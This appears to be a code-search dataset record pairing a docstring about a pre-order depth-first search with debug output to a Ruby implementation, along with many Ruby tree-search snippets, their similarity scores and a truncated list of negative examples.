[ "def depth_first_search(data)\n node = nil\n @list << @root if @root\n\n until @list.empty?\n # Get next node from the stack\n node = @list.pop\n puts \"Visiting node #{node.value}\" if @debug\n break if node.value == data\n # Push each child on the stack, making sure the left child\n # will be popped off the stack first (LIFO)\n @list << node.right if node.right\n @list << node.left if node.left\n end\n @list.clear # remove any remaining items from the stack\n\t node\n end", "def find(root, data)\n node = root\n if !root.nil? && root.title != data # gracefully handle nil, skips if match\n if !root.left.nil? #if left child exists\n node = find(root.left, data) # recursive left as root\n elsif !root.right.nil?\n node = find(root.right, data)\n else\n node = nil # if end of the tree\n end\n end\n return node\n end", "def find(root, data)\n # if data is nil\n if data == nil\n return nil\n end\n\n if root.title == data\n return root\n end\n\n found_node = nil\n\n unless root.left.nil?\n found_node = find(root.left, data)\n end\n\n unless found_node || root.right.nil?\n found_node = find(root.right, data)\n end\n #What happens when we encounter a leaf node, without siblings, at the very left of the tree?\n\n return found_node\n end", "def find(root, data)\n if data < root\n find( root, node.left)\n elsif data > root\n find( root, node.right)\n else\n return node\n end\n end", "def find(root, data) #like a stack\n if data === nil #if data is nil\n return nil\n elsif root.title === data #if root matches data\n return root\n elsif root.title != data && root.left === nil #if root is dif from data and left is empty\n if root.right === data\n return root.right\n elsif root.right === nil\n return nil\n else\n find(root.right, data)\n end\n elsif root.title != data && root.left != nil #if root is dif from data and left is not empty\n if root.left === data\n return root.left\n else\n find(root.left, data)\n end\n end\n end", "def find(root, data)\n if @root != nil\n queue = Queue.new\n queue.enq(@root)\n result = nil\n while !queue.empty?\n node = queue.deq\n return node if node.title == data\n queue.enq(node.left) if node.left\n queue.enq(node.right) if node.right\n end\n end\n\n end", "def find(root, data)\n if root.value == data\n return root\n end\n\n if root.left != nil\n left = find(root.left, data)\n if left != nil\n return left\n end\n end\n\n if root.right != nil\n right = find(root.right, data)\n if right != nil\n return right\n end\n end\n end", "def find(root, data)\n if root == nil || data == nil\n nil\n else\n if root.title == data\n root\n # Uses recursion to move down left, then right side of tree\n elsif root.left != nil\n find(root.left, data)\n elsif root.right != nil\n find(root.right, data)\n end\n end\n end", "def find(root, data)\n return nil if data === nil\n\n if root.title === data\n return root\n elsif root.left\n find(root.left, data)\n else\n find(root.right, data)\n end\n end", "def find(root, data)\n current_node = root\n if current_node.title == data\n return current_node\n elsif current_node.left != nil\n find(current_node.left, data)\n elsif current_node.right != nil\n find(current_node.right, data)\n end\n\n end", "def find(root, data)\n # if data is nil\n if data == nil\n return nil\n end\n\n if root.title == data\n return root\n end\n\n found_node = nil\n\n unless root.left.nil?\n found_node = find(root.left, data)\n end\n\n unless found_node || root.right.nil?\n found_node = find(root.right, data)\n end\n\n return found_node\n end", "def find(root, data)\n if data == nil\n return nil\n elsif root.title == data\n return root\n elsif root.title != data && root.left != nil && root.left.skip == false\n root = root.left\n find(root, data)\n elsif root.title != data && root.right != nil && root.right.skip == false\n root = root.right\n find(root, data)\n else\n root.skip = true\n root = root.parent\n find(root, data)\n end\n end", "def find(root, data)\n return root if root.title == data\n if root.right\n found = find(root.right, data)\n end\n if root.left && found.nil?\n found = find(root.left, data)\n end\n found ? found : nil\n end", "def find(root, data)\n return if data == nil || root == nil\n\n if root.title == data\n @searched_node = root\n end\n\n if root.left\n find(root.left, data)\n end\n if root.right\n find(root.right, data)\n end\n\n return @searched_node\n end", "def find(root, data)\n if root.nil?\n nil\n elsif root.title == data\n root\n else\n left_node = find(root.left, data)\n if left_node\n left_node\n else\n right_node = find(root.right, data)\n right_node if right_node\n end\n end\n end", "def find(root, data)\n if root.nil?\n nil\n else\n if root.title == data\n root\n elsif root.left != nil\n find(root.left, data)\n elsif root.right != nil\n find(root.right, data)\n end\n end\n end", "def find(root, data)\n if data.nil?\n return nil\n else\n if root.title == data\n return root\n elsif root.left !=nil\n find(root.left,data)\n elsif root.right !=nil\n find(root.right,data)\n end\n end\n end", "def find(root, data)\n if data == nil || root == nil\n return nil\n end\n\n branch = root\n\n if branch.title == data\n return branch\n else\n root = find_next_leaf(root, branch)\n self.find(root, data)\n end\n\n end", "def find(root, data)\n return nil if root.nil? || data.nil?\n \n if root.title === data\n return root\n elsif root.left\n find(root.left, data)\n elsif root.right\n find(root.right, data)\n end\n end", "def find(root, data)\n if (!root)\n return nil\n end\n if (root.title == data)\n return root\n else\n if (root.right)\n return find(root.right, data)\n end\n if (root.left)\n return find(root.left, data)\n end\n return nil\n end\n end", "def find(root, data)\n node = root\n if !root.nil?\n if root.title != data\n node = find(root.left, data)\n if node.nil?\n node = find(root.right, data)\n end\n end\n end\n return node\n end", "def find(root, data)\n if root.nil?|| data.nil?\n nil\n else\n if root.title == data\n root\n elsif root.left\n find(root.left, data)\n elsif root.right\n find(root.right, data)\n end\n end\n end", "def find(root, data)\n if data.nil?\n return nil\n end\n \n if root.nil?\n return nil\n elsif root.title == data\n return root\n else\n find(root.right, data) ||\n find(root.left, data)\n end\n end", "def find(root, data)\n return nil if !root || data === nil\n return root if root.title === data\n if root.left && root.left.title === data\n return root.left\n elsif root.right && root.right.title === data\n return root.right\n elsif find(root.left, data)\n return find(root.left, data)\n elsif find(root.right, data)\n return find(root.right, data)\n end\n end", "def find_without_recursion(data)\n puts 'Tree is empty' and return if @root.nil?\n q = QueueWithLinkedList.new\n q.enqueue(@root)\n found = false\n while !q.isEmpty?\n node = q.dequeue\n found = true if node.data == data\n q.enqueue(node.left) if node.left\n q.enqueue(node.right) if node.right\n end\n return found\n end", "def find(root, data)\n # If the root or the data is nil then return nil\n if root.nil? || data.nil?\n return nil\n else\n # If the root title equals the data then return the root info\n if root.title == data\n return root\n # If the root to the left does not equal nil then rerun the the find method and replace the original root with the one on the left.\n # Is this correct?\n elsif root.left != nil\n find(root.left, data)\n # If the root to the right does not equal nil then rerun the the find method and replace the original root with the one on the right.\n # Is this correct?\n elsif root.right != nil\n find(root.right, data)\n end\n end\n end", "def find(root, data) # data is a title, not a node\n if root.title == data\n # base case, data matches\n return root\n else\n if root.left\n left = find(root.left, data)\n end\n if root.right\n right = find(root.right, data)\n end\n if left\n return left\n elsif right\n return right\n else\n # no match found toward the left or the right\n return nil\n end\n end\n end", "def find(root, data)\n return root if root && root.title == data\n\n found_node = nil\n\n found_node = find(root.left, data) if root.left\n found_node = find(root.right, data) if !found_node && root.right\n\n return found_node\n end", "def find(root, data)\r\n return nil if data.nil? || root.nil?\r\n if root.title == data\r\n return root\r\n else\r\n node = find(root.left, data)\r\n if node.nil?\r\n node = find(root.right, data)\r\n end\r\n end\r\n return node\r\n end", "def find(root, data)\n if root.nil?\n nil \n elsif root.title == data\n return root \n elsif root.right != nil \n find(root.right , data)\n elsif root.left != nil \n find(root.left ,data)\n end\n end", "def find(root, data)\n return false unless root\n return root if root.data == data\n return find(root.left, data) || find(root.right, data)\n end", "def breadth_first_search(data)\n queue = [@root]\n node_match = nil\n match_found = false\n until queue.empty? || match_found || @root.nil?\n cur_node = queue.first\n if cur_node.value == data\n match_found = true\n node_match = cur_node\n else\n queue.push(cur_node.left_child) unless cur_node.left_child.nil?\n queue.push(cur_node.right_child) unless cur_node.right_child.nil?\n queue.shift\n end\n end\n return node_match\n end", "def depth_first_search_pre_order_with_debug(data)\n search_order = [] # For Debug output\n stack = [@root]\n node_match = nil\n match_found = false\n until stack.empty? || match_found || @root.nil?\n cur_node = stack.pop\n next_node_value = cur_node.nil? ? \"nil\" : cur_node.value # For Debug output\n search_order << next_node_value # For Debug output\n if cur_node.value == data\n match_found = true\n node_match = cur_node\n end\n right = cur_node.right_child\n stack.push(right) unless right.nil?\n left = cur_node.left_child\n stack.push(left) unless left.nil?\n end\n puts \"Pre_order depth-first search order for nodes visited:\" # For Debug output\n p search_order # For Debug output\n puts \"\\nTotal nodes visited: #{search_order.size}\" # For Debug output\n return node_match\n end", "def find(root, data)\n if root.title == data\n return root\n end\n left = find(root.left, data) if root.left\n right = find(root.right, data) if root.right\n left or right\n end", "def find_parent(root, data)\n return root if root.id == data.id / 2\n\n ltree = !root.left.nil? ? find_parent(root.left, data) : nil\n return ltree unless ltree.nil?\n\n !root.right.nil? ? find_parent(root.right, data) : nil\n end", "def find(root, data)\n return unless root && data \n if root.title != data\n target ||= self.find(root.right, data)\n return target if target\n target ||= self.find(root.left, data)\n else\n return root\n end\n end", "def find(root, data)\n return root if root.rating == data\n\n ltree = !root.left.nil? ? find(root.left, data) : nil\n return ltree unless ltree.nil?\n\n !root.right.nil? ? find(root.right, data) : nil\n end", "def findParent(root, data, parent=true)\n if root.title == data\n # base case, data matches\n return parent\n else\n if root.left\n left = findParent(root.left, data, root)\n end\n if root.right\n right = findParent(root.right, data, root)\n end\n if left\n return left\n elsif right\n return right\n else\n # no match found toward the left or the right\n return nil\n end\n end\n end", "def breadth_first_search(data)\n node = nil\n @list << @root if @root\n\n until @list.empty?\n # get next node from the queue\n node = @list.shift\n puts \"Visiting node #{node.value}\" if @debug\n break if node.value == data\n # place each child in the queue, from left to right\n @list << node.left if node.left\n @list << node.right if node.right\n end\n @list.clear # remove any remaining items from the queue\n\t node\n end", "def depth_search(data_to_find, node)\n if data_to_find < node.data && node.left\n @depth += 1\n depth_search(data_to_find, node.left)\n elsif data_to_find > node.data && node.right\n @depth += 1\n depth_search(data_to_find, node.right)\n elsif data_to_find == node.data\n @depth += 1\n else\n @depth = 0\n end\n end", "def find(root, data)\n (1...@tree.length).each do |loc|\n if data.title == @tree[loc].title\n return @tree[loc]\n end\n end\n nil\n end", "def dfs_rec(data)\n @root.each { |node| return node if data == node.data }\n end", "def depth_first_search(query)\n stack = [@tree]\n\n loop do\n# exit when empty stack\n return nil if stack.empty?\n\n# node is equal to top of stack\n node = stack.pop\n \n# return node if match\n return node if query == node.value\n\n# i think it is pushing every descendant of the parent?\n stack.push node.left_child if node.left_child != nil\n stack.push node.right_child if node.right_child != nil\n end\n end", "def bst_search(tree, node)\n locator = tree\n parent = nil\n found = false\n while( !found && locator)\n if node.data < locator.node.data\n # descend left\n parent = locator\n locator = locator.left_child\n elsif node.data > locator.node.data\n # descend right\n parent = locator\n locator = locator.right_child\n else\n found = true\n end\n end\n return found, locator, parent\n end", "def find (data)\n current_node = @head\n\n while current_node\n return current_node if current_node.data == data\n current_node = current_node.next\n end\n\n return nil\n end", "def dfs_recursive(query, node=@tree) \n return nil if node.nil?\n return node if query == node.value\n\n# left search equals if the left child is not nil then call the method with target & left child node parameters, otherwise is nil\n left_search = node.left_child != nil ? dfs_recursive(query, node.left_child) : nil\n\n# return if left search does not result in nil\n return left_search if left_search != nil\n right_search = node.right_child != nil ? dfs_recursive(query, node.right_child) : nil\n return right_search if right_search != nil \n end", "def dfs_rec(data, cur_node = @root)\n node_match = nil\n # no match possible if node is 'nil'\n unless cur_node.nil?\n # check for match\n if cur_node.value == data\n node_match = cur_node\n else\n # check for matches along each child path ('nil' returned = no match found)\n unless cur_node.left_child.nil?\n left_match = dfs_rec(data, cur_node.left_child)\n node_match = left_match unless left_match.nil?\n end\n unless cur_node.right_child.nil?\n right_match = dfs_rec(data, cur_node.right_child)\n node_match = right_match unless right_match.nil?\n end\n end\n end\n return node_match\n end", "def search(data_to_find, node)\n if data_to_find < node.data && node.left\n search(data_to_find, node.left)\n elsif data_to_find > node.data && node.right\n search(data_to_find, node.right)\n elsif data_to_find == node.data\n return true\n else\n return false\n end\n end", "def inorder_traverse(node, data)\n return data if node.nil?\n inorder_traverse(node.left_child, data)\n data << node.value\n inorder_traverse(node.right_child, data)\n end", "def find(value, root = @root)\n return nil if root.nil?\n return root if root.data == value\n\n value < root.data ? find(value, root.left) : find(value, root.right)\n end", "def breadth_first_search_with_debug(data)\n search_order = [] # For Debug output\n queue = [@root]\n node_match = nil\n match_found = false\n until queue.empty? || match_found || @root.nil?\n cur_node = queue.first\n next_node_value = cur_node.nil? ? \"nil\" : cur_node.value # For Debug output\n search_order << next_node_value # For Debug output\n if cur_node.value == data\n match_found = true\n node_match = cur_node\n else\n queue.push(cur_node.left_child) unless cur_node.left_child.nil?\n queue.push(cur_node.right_child) unless cur_node.right_child.nil?\n queue.shift\n end\n end\n puts \"Breadth-first search order for nodes visited:\" # For Debug output\n p search_order # For Debug output\n puts \"\\nTotal nodes visited: #{search_order.size}\" # For Debug output\n return node_match\n end", "def find value, root_node=@root\n case value <=> root_node.data\n when -1\n find(value, root_node.left)\n when 1\n find(value, root_node.right)\n when 0\n return root_node\n else\n return\n end\n end", "def find_parent(root, parent_to_find)\n\n if((defined?(root.left.data))) || ((defined?(root.right.data)))\n if(root.right == parent_to_find) || (root.left == parent_to_find) \n return root\n else\n if(parent_to_find < root)\n find_parent(root.left, parent_to_find)\n else\n find_parent(root.right,parent_to_find)\n end \n end\n end \n end", "def lookup(data, parent=nil)\n return [self, parent] if data == @data\n if data < @data\n return [nil, nil] if @left.nil?\n @left.lookup(data, self)\n else\n return [nil, nil] if @right.nil?\n @right.lookup(data, self)\n end\n end", "def depth_first_search(target)\n return @root if @root.value == target\n search_stack = [@root]\n until search_stack.empty?\n test_node = search_stack.pop\n\n if test_node.value == target\n return test_node\n else\n search_stack << test_node.right_child unless test_node.right_child.nil?\n search_stack << test_node.left_child unless test_node.left_child.nil?\n end\n end\n\n nil\n\tend", "def build_tree(data, par_node)\n return nil if data.empty?\n \n if @node.value <= par_node.value\n if par_node.left == nil\n par_node.left = @node\n else\n build_tree(data, par_node.left)\n end\n else\n if par_node.right == nil\n par_node.right = @node\n else\n build_tree(data, par_node.right)\n end\n end\n\n @node = Node.new(data.shift)\n build_tree(data, @root)\n end", "def depth_first_search(target)\n stack = Array.new\n stack.push(@root)\n\n while !stack.empty?\n\n element = stack.pop\n\n return element if element.value == target\n\n stack.push(element.leftchild) if !element.leftchild.nil?\n stack.push(element.rightchild) if !element.rightchild.nil?\n\n end\n\n return nil\n end", "def depth_first_search node= self.root, value\n\t\tstack =[node]\n\n\t\twhile stack.length > 0\n\t\t\tcurrent = stack.pop\n\t\t\treturn \"Value #{value} found in #{current.to_s}\" if current.value == value\n\t\t\tstack.push(current.left) if current.left\n\t\t\tstack.push(current.right) if current.right\n\t\tend\n\tend", "def depth_first_search(value, stack = [Node.get_root_node])\n node = stack[0]\n\n if !node.value.nil?\n puts \"Searching node #{node.value}...\"\n if node.value == value\n puts \"Found #{value} at node #{node}!\"\n return node\n end\n end\n\n left_child = node.left_child\n right_child = node.right_child\n\n if !left_child.nil?\n puts \"Left child is #{left_child.value}.\"\n else\n puts \"No left child.\"\n end\n\n if !right_child.nil?\n puts \"Right child is #{right_child.value}.\"\n else\n puts \"No right child.\"\n end\n\n if !left_child.nil?\n stack << left_child\n stack.shift\n return node if !depth_first_search(value, stack).nil?\n else\n nil\n end\n\n if !right_child.nil?\n stack << right_child\n stack.shift\n return node if !depth_first_search(value, stack).nil?\n else\n nil\n end\n\nend", "def depth_first_search(v)\r\n if @root == nil\r\n puts \"Tree is empty\"\r\n end\r\n queue = [@root]\r\n current_node = @root\r\n while not queue.empty?\r\n current_node = queue[0]\r\n queue.unshift(current_node.left_child) unless current_node.left_child.nil?\r\n queue.unshift(current_node.right_child) unless current_node.right_child.nil?\r\n if current_node.value == v\r\n return \"Found at node \" + current_node.to_s\r\n end\r\n queue.shift\r\n end\r\n return \"Value not found.\"\r\n end", "def dfs_rec(data, node = @root)\n if node\n puts \"Visiting node #{node.value}\" if @debug\n if data != node.value\n left = dfs_rec(data, node.left)\n if !left\n node = dfs_rec(data, node.right)\n else\n node = left\n end\n end\n end\n node\n end", "def depth_first_search(target)\n stack = [@root]\n while ! stack.empty?\n node = stack.pop\n if node.value == target\n return node\n else \n if node.value < target && node.right_child != nil\n stack = stack << node.right_child\n end\n if node.value > target && node.left_child != nil\n stack = stack << node.left_child\n end\n end\n end\n return nil\n end", "def find(value)\n curr = @root\n while curr\n return curr if curr.data == value\n\n if value < curr.data\n curr = curr.left\n elsif value > curr.data\n curr = curr.right\n end\n end\n curr\n end", "def depth_first_search(tree, value)\n tgt_node = nil\n \n stack = Array(tree)\n \n while !stack.empty?\n cur_node = stack.pop\n \n\tif cur_node.value == value\n\t tgt_node = cur_node\n\t break\n\tend\n\t\n\tcur_node.children.reverse_each { |child| stack.push(child) unless child.nil? }\n end\n \n tgt_node\nend", "def depth_first_search(value)\n search_stack = [@root_node]\n\n until search_stack.empty?\n curr_node = search_stack.pop\n return curr_node if curr_node.value == value\n search_stack << curr_node.left unless curr_node.left.nil?\n search_stack << curr_node.right unless curr_node.right.nil?\n end\n return nil\n end", "def find(value)\n current_node = @root\n until current_node.nil?\n if current_node.data < value\n current_node = current_node.right_child\n elsif current_node.data > value\n current_node = current_node.left_child\n else\n return current_node\n end\n end\n return nil\n end", "def depth_search(node, proc)\n res = nil\n counter = 0\n number_of_children = node.children.length\n\n while counter < number_of_children\n return res if res\n\n child = node.children[counter]\n res = proc.call(child)\n return res if res\n\n res = depth_search(child, proc)\n counter += 1\n end\n res\n end", "def depthFirstSearch(target, node)\n\treturn nil if node.nil? # checks if node is nil\n\tif node.data == target\n\t\treturn node\n\telse\n\t\tnode.children.each do |n|\n\t\t\tt = depthFirstSearch(target, n) # checks child for target\n\t\t\tnext if t.nil?\n\t\t\treturn t\n\t\tend\n\tend\n\treturn nil\nend", "def insert(data)\n current_node = @root\n if @root\n while current_node != nil\n if data < current_node.data && current_node.left == nil\n current_node.left = TreeNode.new(data)\n elsif data > current_node.data && current_node.right == nil\n current_node.right = TreeNode.new(data)\n elsif data < current_node.data\n current_node = current_node.left\n elsif data >= current_node.data\n current_node = current_node.right\n else\n return\n end\n end\n else\n @root = TreeNode.new(data)\n end\n end", "def search(value, &block)\n work_list = [@root]\n\n while !work_list.empty?\n curr_node = yield(work_list)\n\n unless curr_node.value == value\n work_list << curr_node.left_child unless curr_node.left_child.nil?\n work_list << curr_node.right_child unless curr_node.right_child.nil?\n else\n return curr_node\n end\n end\n\n return nil\n end", "def inOrderTraversal( rootNode )\n return if rootNode == nil\n inOrderTraversal( rootNode.leftChild )\n puts rootNode.data\n inOrderTraversal( rootNode.rightChild )\n end", "def find(value, node = root)\n return node if node.nil? || node.data == value\n \n value < node.data ? find(value, node.left) : find(value, node.right)\n end", "def preorder_traversal(node=@root)\n return if (node == nil)\n preorder_traversal(node.left)\n preorder_traversal(node.right)\n puts node.value.to_s\n end", "def depth_first_search(find,tree)\n current = tree[0]\n answer = \"\"\n stack = [tree[0]]\n visited = [tree[0]]\n \n condition = false\n until condition == true\n connections = [current.find_right_child[0],current.find_left_child[0]].compact\n puts current.value\n puts connections.count\n puts \"---\"\n \n if current.value == find\n answer = current\n condition = true\n elsif visited.count == tree.count\n answer = nil\n condition = true\n else\n if connections.count < 1\n stack.pop\n current = stack[-1]\n elsif connections.count == 1\n if visited.include?(connections[0])\n stack.pop\n current = stack[-1]\n else\n current = connections[0]\n stack.push(current)\n visited.push(current)\n end\n else\n if visited.include?(connections[0]) && visited.include?(connections[1])\n stack.pop\n current = stack[-1]\n elsif !visited.include?(connections[0])\n current = connections[0]\n stack.push(current)\n visited.push(current)\n else\n current = connections[1]\n stack.push(current)\n visited.push(current)\n end\n end\n end\n end\n puts answer ? answer : \"Value not found!\"\n puts answer.value if answer != nil\nend", "def find(key, node = root)\n return nil if node.nil?\n if key == node.data\n return node\n else\n find(key, left_right(key, node))\n end\n end", "def depth_of(data_to_find)\n @depth = 0\n if @head.nil?\n return @depth\n else\n depth_search(data_to_find, head)\n end\n return @depth\n end", "def dfs_rec(value, node = Node.get_root_node)\n\n if !node.nil?\n puts \"Searching node #{node.value}\"\n if !node.value.nil?\n if node.value == value\n puts \"Found #{value} at node #{node}!\"\n return node\n end\n end\n else\n nil\n end\n\n left_child = node.left_child\n right_child = node.right_child\n\n if left_child.nil?\n puts \"No left child.\"\n else\n puts \"Left child is #{left_child.value}\"\n end\n\n if right_child.nil?\n puts \"No right child.\"\n else\n puts \"Right child is #{right_child.value}.\"\n end\n\n left_child.nil? ? nil : dfs_rec(value, left_child)\n right_child.nil? ? nil : dfs_rec(value, right_child)\nend", "def depth_first_search(tree, value, args = {})\r\n verbose = args.fetch(:verbose, false)\r\n return nil if tree == nil\r\n next_node = [tree]\r\n while !next_node.empty?\r\n current = next_node.pop\r\n if verbose\r\n puts \"current = #{current}\"\r\n puts \"head = #{next_node[0]}\"\r\n end\r\n # visited not strictly necessary for future proofs it \r\n if current.visited == false\r\n current.visited = true\r\n return current if current.value == value\r\n current.children.each { |child| next_node.push child if child } \r\n end\r\n end\r\n nil\r\n end", "def find(key)\n return nil if @root.nil?\n\n current = @root\n\n while current != nil\n if key == current.key\n return current.value\n elsif key < current.key\n current = current.left\n else\n current = current.right\n end \n end \n\n return nil\n end", "def find(key)\n return nil if @root == nil\n\n current = @root\n\n until current == nil\n if key == current.key\n return current.value\n elsif key < current.key\n current = current.left\n else\n current = current.right\n end\n end\n\n return nil\n end", "def find(obj)\n return nil if empty?\n\n root = @root\n while root\n return root if obj == root.obj\n\n if obj < root.obj\n root = root.left\n else\n root = root.right\n end\n end\n end", "def DFS(root, target)\n ## base case: \n return nil if root.nil?\n return root if root.value == target\n ##indecutive step: \n ## DFS on the left side then DFS on the right side \n root.children.each do |child|\n search_result = DFS(child, target) ## better to save the actual value then check the value then return nil\n return search_result unless search_result.nil?\n end \n return nil\nend", "def search( key, node=@root )\n return nil if node.nil?\n if key < node.key\n search( key, node.left )\n elsif key > node.key\n search( key, node.right )\n else\n return node\n end\n end", "def preorder_traverse(root=@root)\n unless !root\n result = \"#{root.data}\"\n result << preorder_traverse(root.left) unless !root.left\n result << preorder_traverse(root.right) unless !root.right\n result\n end\n end", "def find(data)\n return nil if @head == nil\n\n index = 0\n found = false\n node = @head\n until node.next_node.nil?\n if node.value == data\n found = true\n break\n end\n index += 1\n node = node.next_node\n end\n\n found = true if node.value == data # to account for the last node\n index = nil unless found\n index\n end", "def search(dataset, prefix)\n tree = dataset.root\n prefix.each_char do |ch|\n node = tree.find_child(ch)\n\n if node\n tree = node\n else\n return nil\n end\n end\n\n get_leaves(tree)\nend", "def find(data)\n return nil if @size ==0\n node = @root\n for i in 0...@size \n if node.value == data\n \treturn i\n end\n node=node.next_node\n end\n return nil\n end", "def breadth_first_search target_value, root=@root\n return nil if empty?\n\n queue = [root]\n\n until queue.empty?\n current = queue.shift\n\n # Return value if found\n return current if current.value == target_value\n\n # Add children to the queue, if they exist\n queue << current.left unless current.left.nil?\n queue << current.right unless current.right.nil?\n end\n\n # returns nil if value not found\n nil\n end", "def preOrder(root) # O(n)\n\n return nil if root == nil\n\n print \" #{root.value}\"\n preOrder(root.left)\n preOrder(root.right)\n\nend", "def delete(root, data)\n # finds the data to be deleted and stores as element\n element = find(root, data)\n if element\n # if data was found\n # store what will be the new last index\n last_index = @tree.length - 1\n # store last_index's parent's index\n parent = last_index / 2\n # delete end of tree and store in last_element\n last_element = @tree.pop\n\n # determine if it was a left or right child\n popped_node_was_a_left_child = @tree[parent] && last_index % 2 == 0\n popped_node_was_a_right_child = @tree[parent] && last_index % 2 != 0\n\n # set appropriate child as nil\n if popped_node_was_a_left_child\n @tree[parent].left = nil\n elsif popped_node_was_a_right_child\n @tree[parent].right = nil\n end\n\n # re-set the 'deleted' element's title and rating,\n # effectively removing it and replacing it with what was the last node\n element.title = last_element.title\n element.rating = last_element.rating\n else\n # data was not found, return nil\n return nil\n end\n\n # filter the newly placed node up or down to where it should be in the heap\n filter_down(element)\n filter_up(element)\n end", "def insert(data)\n node = Node.new(data)\n\n if @size == 0\n @root = node\n else\n parent = @root\n\n loop do\n if data <= parent.value\n if !parent.left # found a leaf node\n parent.left = node # insert here\n break\n else\n parent = parent.left\n end\n else # data > node.value\n if !parent.right # found a leaf node\n parent.right = node # insert here\n break\n else\n parent = parent.right\n end\n end\n end\n end\n\n @size += 1\n end", "def dfs(tree)\n # Return the tree if the root value matches the search value\n if @stack[-1].nil?\n return nil\n elsif @stack[-1]['value'] == @value || @stack[-1] == @value\n return @stack[-1]\n end\n \n # Add left tree to the stack if it exists, otherwise the right branch if it exists\n if @stack[-1]['branches']['left'].nil? == false\n @stack << tree['branches']['left']\n dfs(@stack[-1])\n elsif @stack[-1]['branches']['right'].nil? == false\n @stack << tree['branches']['right']\n elsif @stack[-1]['branches']['left'].nil? == false && @stack[-1]['branches']['right'].nil? == false\n @stack.pop\n end\n \n end", "def dfs_rec(tree, value)\n return nil if tree.nil?\n\n left = dfs_rec(tree.left, value)\n return left if left && left.value == value\n\n\n right = dfs_rec(tree.right, value)\n return right if right && right.value == value\n\n p tree.value\n return tree if tree.value == value\n\nend", "def dfs_rec(tree, value)\n return nil if tree.nil?\n\n p tree.value\n return tree if tree.value == value\n\n left = dfs_rec(tree.left, value)\n return left if left && left.value == value\n\n\n right = dfs_rec(tree.right, value)\n return right if right && right.value == value\n\nend", "def preOrderTraversal(root)\n return nil if root == nil\n\n stack = [root]\n while !stack.empty?\n node = stack.pop\n print \" #{node.value}\"\n if node.right != nil\n stack.push(node.right)\n end\n if node.left != nil\n stack.push(node.left)\n end\n end\nend", "def find(key)\n return nil if @root.nil?\n\n current = @root\n while current\n if key > current.key\n current = current.right\n elsif key < current.key\n current = current.left\n else\n return current.value\n end\n end\n\n return nil\n end", "def breadth_first_search(target)\n queue = Array.new\n queue.unshift(@root)\n\n while !queue.empty?\n\n element = queue.shift\n\n return element if element.value == target\n\n queue << element.leftchild if !element.leftchild.nil?\n queue << element.rightchild if !element.rightchild.nil?\n\n end\n\n return nil\n\n end", "def depth_first_search(target)\n # create an array that acts like a stack\n stack = [self]\n # visited array keeps the visited nodes\n visited = []\n \n # search until there are no nodes left\n until stack.length == 0\n # get the last element in the stack\n node = stack[-1]\n\n # mark current node as visited\n visited << node\n\n # return the current node if the target value found\n return node if node.value == target\n \n # if there is unvisited left node, add it to stack\n if node.left && !visited.include?(node.left)\n stack << node.left\n # else if there is unvisited right node, add it to stack\n elsif node.right && !visited.include?(node.right)\n stack << node.right\n # if there are no visited children, pop the node from stack\n else\n stack.pop\n end\n end\n nil\n end", "def insert_in_bst(root, data)\n if !root\n root = Node.new(data)\n elsif data < root.value\n root.left_child = insert_in_bst(root.left_child, data)\n else\n root.right_child = insert_in_bst(root.right_child, data)\n end\n root\nend", "def find(key)\n return nil if @root.nil?\n current = @root\n while current != nil\n if key == current.key\n return current.value\n elsif key > current.key \n current = current.right\n else\n current = current.left\n end\n end\n end" ]
[ "0.8119697", "0.7890585", "0.7884613", "0.78070575", "0.7770379", "0.7769602", "0.77549934", "0.7731764", "0.77259016", "0.77247083", "0.7719595", "0.77187645", "0.76705396", "0.7649889", "0.7642115", "0.7638175", "0.76211554", "0.7618138", "0.75921905", "0.7591433", "0.7573184", "0.7562347", "0.75561", "0.75451803", "0.7537077", "0.75348336", "0.7531024", "0.75251514", "0.75138384", "0.7506043", "0.74855125", "0.7482734", "0.74707603", "0.7462681", "0.743978", "0.7366381", "0.73396206", "0.7223731", "0.7172379", "0.708245", "0.696661", "0.6915473", "0.67887217", "0.676532", "0.6716374", "0.6706013", "0.66784656", "0.6651644", "0.6606086", "0.6591267", "0.6583059", "0.65509975", "0.6468252", "0.644205", "0.64276105", "0.63997626", "0.6399002", "0.6387108", "0.63766265", "0.63722795", "0.63699996", "0.63511837", "0.63499624", "0.63339883", "0.633088", "0.63276976", "0.63209426", "0.6306302", "0.6277291", "0.6274251", "0.62348074", "0.6212871", "0.62029964", "0.6194146", "0.6171663", "0.6153022", "0.6119266", "0.6108773", "0.6104238", "0.6102205", "0.6099832", "0.6074232", "0.6065785", "0.60651654", "0.6060585", "0.6059617", "0.60432917", "0.6012661", "0.6005701", "0.60005164", "0.59902006", "0.5980956", "0.5976399", "0.5942672", "0.59402794", "0.5936451", "0.5924202", "0.5910811", "0.590513", "0.59021914" ]
0.84809583
0
Same method as depth_first_search_pre_order (iterative), but with debugging output that lists the number nodes visited, and the actual order visited. Note: Handles case where data searched for and tree are not the same type
def depth_first_search_pre_order_with_debug(data) search_order = [] # For Debug output stack = [@root] node_match = nil match_found = false until stack.empty? || match_found || @root.nil? cur_node = stack.pop next_node_value = cur_node.nil? ? "nil" : cur_node.value # For Debug output search_order << next_node_value # For Debug output if cur_node.value == data match_found = true node_match = cur_node end right = cur_node.right_child stack.push(right) unless right.nil? left = cur_node.left_child stack.push(left) unless left.nil? end puts "Pre_order depth-first search order for nodes visited:" # For Debug output p search_order # For Debug output puts "\nTotal nodes visited: #{search_order.size}" # For Debug output return node_match end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def breadth_first_search_with_debug(data)\n search_order = [] # For Debug output\n queue = [@root]\n node_match = nil\n match_found = false\n until queue.empty? || match_found || @root.nil?\n cur_node = queue.first\n next_node_value = cur_node.nil? ? \"nil\" : cur_node.value # For Debug output\n search_order << next_node_value # For Debug output\n if cur_node.value == data\n match_found = true\n node_match = cur_node\n else\n queue.push(cur_node.left_child) unless cur_node.left_child.nil?\n queue.push(cur_node.right_child) unless cur_node.right_child.nil?\n queue.shift\n end\n end\n puts \"Breadth-first search order for nodes visited:\" # For Debug output\n p search_order # For Debug output\n puts \"\\nTotal nodes visited: #{search_order.size}\" # For Debug output\n return node_match\n end", "def depth_first(node, visited = Set.new())\n return nil if visited.include?(node.val)\n\n puts node.val\n visited.add(node.val)\n\n node.neighbors.each do |neighbor|\n depth_first(neighbor, visited);\n end\nend", "def depth_first_search\n visited = {}\n timestamp = {}\n tree_edges = {}\n back_edges = {}\n cross_edges = {}\n forward_edges = {}\n count = 0\n\n # begin workaround removing depencency to order of Hash#each\n if @index.empty? then\n preference_of_nodes = nil\n else\n preference_of_nodes = {}.merge(@index)\n i = preference_of_nodes.values.max\n @graph.each_key do |node0|\n preference_of_nodes[node0] 